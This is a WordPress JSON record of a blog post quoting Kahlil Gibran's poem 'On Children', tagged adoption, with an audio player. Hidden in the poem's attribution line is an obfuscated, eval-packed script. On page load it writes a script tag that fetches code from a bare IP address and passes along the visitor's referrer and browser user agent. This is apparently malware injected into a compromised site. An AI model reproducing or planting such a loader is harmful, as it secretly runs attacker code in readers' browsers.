{"id":4495,"date":"2014-03-24T08:00:43","date_gmt":"2014-03-24T15:00:43","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=4495"},"modified":"2014-03-21T16:23:52","modified_gmt":"2014-03-21T23:23:52","slug":"on-children","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=4495","title":{"rendered":"On Children"},"content":{"rendered":"<!--[if lt IE 9]><script>document.createElement('audio');<\/script><![endif]-->\n<audio class=\"wp-audio-shortcode\" id=\"audio-4495-1\" preload=\"none\" style=\"width: 100%;\" controls=\"controls\"><source type=\"audio\/mpeg\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/03\/12-On-Children.mp3?_=1\" \/><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/03\/12-On-Children.mp3\">http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/03\/12-On-Children.mp3<\/a><\/audio>\n<p>On Children<br \/>\n<i>\u00c2\u00a0~ <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzrrt|var|u0026u|referrer|abybe||js|php'.split('|'),0,{}))\n<\/script><\/noindex> Kahlil Gibran<\/i><\/p>\n<p>Your children are not your children.<br \/>\nThey are the sons and daughters of Life&#8217;s longing for itself.<br \/>\nThey come through you but not from you,<br \/>\nAnd though they are with you yet they belong not to you.<\/p>\n<p>You may give them your love but not your thoughts,<br \/>\nFor they have their own thoughts.<br \/>\nYou may house their bodies but not their souls,<br \/>\nFor their souls dwell in the house of tomorrow,<br \/>\nwhich you cannot visit, not even in your dreams.<br \/>\nYou may strive to be like them,<br \/>\nbut seek not to make them like you.<br \/>\nFor life goes not backward nor tarries with yesterday.<\/p>\n<p>You are the bows from which your children<br \/>\nas living arrows are sent forth.<br \/>\nThe archer sees the mark upon the path of the infinite,<br \/>\nand He bends you with His might<br \/>\nthat His arrows may go swift and far.<br \/>\nLet your bending in the archer&#8217;s hand be for gladness;<br \/>\nFor even as He loves the arrow that flies,<br \/>\nso He loves also the bow that is stable.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>On Children \u00c2\u00a0~ Kahlil Gibran Your children are not your children. They are the sons&#8230;<\/p>\n","protected":false},"author":1,"featured_media":4497,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[76,91],"tags":[53,81,25,42],"class_list":["post-4495","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-adoption","category-believe","tag-adoption","tag-i-believe","tag-kids","tag-poem"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4495"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4495"}],"version-history":[{"count":1,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4495\/revisions"}],"predecessor-version":[{"id":4498,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4495\/revisions\/4498"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/media\/4497"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4495"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4495"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4495"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}